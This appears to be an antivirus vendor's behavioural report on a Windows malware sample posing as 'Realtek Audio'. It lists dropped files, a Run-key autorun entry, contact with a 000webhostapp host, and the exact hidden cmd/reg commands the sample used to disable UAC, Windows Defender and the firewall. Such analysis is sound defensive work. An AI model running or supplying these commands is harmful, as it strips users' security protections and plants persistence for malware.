Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'RealTek(R) Audio' = '%WINDIR%\Realtek_Audio.exe'
Malicious functions
To bypass firewall, removes or modifies the following registry keys
- [<HKLM>\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile] 'EnableFirewall' = '00000000'
To complicate detection of its presence in the operating system,
blocks the following features:
- User Account Control (UAC)
Modifies file system
Creates the following files
- %TEMP%\_mei24402\microsoft.vc90.crt.manifest
- %TEMP%\_mei28882\mfc90.dll
- %TEMP%\_mei28882\mfc90u.dll
- %TEMP%\_mei28882\mfcm90.dll
- %TEMP%\_mei28882\mfcm90u.dll
- %TEMP%\_mei28882\msvcm90.dll
- %TEMP%\_mei28882\msvcp90.dll
- %TEMP%\_mei28882\msvcr90.dll
- %TEMP%\_mei28882\python27.dll
- %TEMP%\_mei28882\pywintypes27.dll
- %TEMP%\tmphzqd72\gen_py\__init__.py
- %TEMP%\_mei28882\select.pyd
- %TEMP%\_mei28882\unicodedata.pyd
- %TEMP%\_mei28882\updater.exe.manifest
- %TEMP%\_mei28882\win32api.pyd
- %TEMP%\_mei28882\win32trace.pyd
- %TEMP%\_mei28882\win32ui.pyd
- %TEMP%\_mei28882\include\pyconfig.h
- %TEMP%\n3icam
- %TEMP%\_mei28882\bz2.pyd
- %TEMP%\_mei28882\pythoncom27.dll
- %TEMP%\_mei28882\_win32sysloader.pyd
- %TEMP%\_mei24402\msvcr90.dll
- %TEMP%\_mei24402\_ctypes.pyd
- %TEMP%\_mei24402\_hashlib.pyd
- %TEMP%\_mei24402\_socket.pyd
- %TEMP%\_mei24402\_ssl.pyd
- %TEMP%\_mei24402\bz2.pyd
- %TEMP%\_mei24402\loader.exe.manifest
- %TEMP%\_mei24402\msvcm90.dll
- %TEMP%\_mei24402\msvcp90.dll
- %TEMP%\_mei24402\python27.dll
- %TEMP%\_mei28882\_socket.pyd
- %TEMP%\_mei24402\select.pyd
- %TEMP%\_mei24402\unicodedata.pyd
- %TEMP%\_mei24402\include\pyconfig.h
- %WINDIR%\realtek_audio.exehig8tp.tmp
- %TEMP%\_mei28882\microsoft.vc90.crt.manifest
- %TEMP%\_mei28882\microsoft.vc90.mfc.manifest
- %TEMP%\_mei28882\_ctypes.pyd
- %TEMP%\_mei28882\_hashlib.pyd
- %TEMP%\_mei28882\_ssl.pyd
- %TEMP%\tmphzqd72\gen_py\dicts.dat
Deletes the following files
- %TEMP%\n3icam
- %TEMP%\_mei24402\bz2.pyd
- %TEMP%\_mei24402\include\pyconfig.h
- %TEMP%\_mei24402\loader.exe.manifest
- %TEMP%\_mei24402\microsoft.vc90.crt.manifest
- %TEMP%\_mei24402\msvcm90.dll
- %TEMP%\_mei24402\msvcp90.dll
- %TEMP%\_mei24402\msvcr90.dll
- %TEMP%\_mei24402\python27.dll
- %TEMP%\_mei24402\select.pyd
- %TEMP%\_mei24402\unicodedata.pyd
- %TEMP%\_mei24402\_ctypes.pyd
- %TEMP%\_mei24402\_hashlib.pyd
- %TEMP%\_mei24402\_socket.pyd
- %TEMP%\_mei24402\_ssl.pyd
Moves the following files
- from %WINDIR%\realtek_audio.exehig8tp.tmp to %WINDIR%\realtek_audio.exe
Network activity
TCP
- 'pe#########mariogames.000webhostapp.com':443
UDP
- DNS ASK pe#########mariogames.000webhostapp.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\realtek_audio.exe'
- '<SYSTEM32>\cmd.exe' /c "REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall /t REG_DWORD /d 0 /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del %WINDIR%\Realtek_Audio.exe"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "RealTek(R) Audio" /t REG_SZ /d "%WINDIR%\Realtek_Audio.exe" /f"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "start %WINDIR%\Realtek_Audio.exe"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c "REG ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f"
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f"
- '<SYSTEM32>\reg.exe' ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /c "REG ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall /t REG_DWORD /d 0 /f"
- '<SYSTEM32>\reg.exe' ADD HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile /v EnableFirewall /t REG_DWORD /d 0 /f
- '<SYSTEM32>\cmd.exe' /c "del %WINDIR%\Realtek_Audio.exe"
- '<SYSTEM32>\cmd.exe' /c "REG ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "RealTek(R) Audio" /t REG_SZ /d "%WINDIR%\Realtek_Audio.exe" /f"
- '<SYSTEM32>\reg.exe' ADD HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v "RealTek(R) Audio" /t REG_SZ /d "%WINDIR%\Realtek_Audio.exe" /f
- '<SYSTEM32>\cmd.exe' /c "start %WINDIR%\Realtek_Audio.exe"
